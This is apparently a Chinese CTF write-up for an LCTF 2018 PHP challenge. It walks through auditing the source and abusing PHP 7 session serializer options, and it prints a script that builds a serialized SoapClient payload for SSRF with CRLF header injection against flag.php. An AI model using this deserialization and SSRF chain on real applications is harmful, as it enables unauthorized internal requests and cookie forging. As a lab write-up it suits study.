前置知识
即:利用漏洞,注入一个CRLF( )控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体
SOAP,简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议。
直接看php文档手册,找到soap类
看到此函数的别名,跳转进SoapClient::SoapClient
第一个参数的意思是:控制是否是wsdl模式,如果为NULL,就是非wsdl模式.如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,
第二个参数的意思是:一个数组,里面是soap请求的一些参数和属性。
解题思路
打开发现直接以代码的方式呈现
如果单看代码的话,这里正好开了session,其实我最先想到的是用session_id获取PHPSESSID,在PHPSESSID中传入hex的危险代码,利用回调函数成功执行,但是并没有能执行?
大致做些常用的操作,检查有无信息泄露等,发现flag.php直接是可以访问的
看着这个很明显的,要用ssrf了,但具体怎么用呢
代码审计
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
先审计一波,发现开启了会话,在php7版本中,有如下特性:
其中有这样一句话
PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)
那么我们就可以利用回调函数,通过给f传参,值为session_start,然后post提交array('serialize_handler'=>'php_serialize')
即达到session_start(array('serialize_handler' => 'php_serialize')) ,将会根据php7特性设置session.serialize_handler=php_serialize
之后发现session是可控的,可以通过传入name值,任意伪造。这里就想到name传入的是序列化值了,序列化exp
编写exp
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "karsa
Cookie:PHPSESSID=12649rm10rjdt2s1riquginfd2
",
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo urlencode($se);
为什么要加入user_agent?
因为我们这里引入两个
,检测到第一个
时,认为前面一个首部字段user_agent结束了,cookie会被当作下一行。检测到第二个
时结束,正好成功实现了flag的辨别操作
此时已经有序列化内容,我们思考如何进行反序列化,通过反序列化读取
我们目前只用了第一个回调函数,第二个回调还没用,如果这个时候我们再次传参,因为name已经国定在session中,所以再次利用回调函数,这里先传入extract(),将$b覆盖成回调函数,变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),因为SoapClient中并没有此方法,所以调用SoapClient中的__call方法
可以看到session已经存入其中
操作流程:
感觉这道题含金量真的很高,对session的知识点也考的很好,这里其实我并没有理解的很深,但是明天就要去北京参加护网了,得马上收拾行李赶火车去了,博客更新也先告一段落。希望护网回来的自己更强
冲冲冲!!!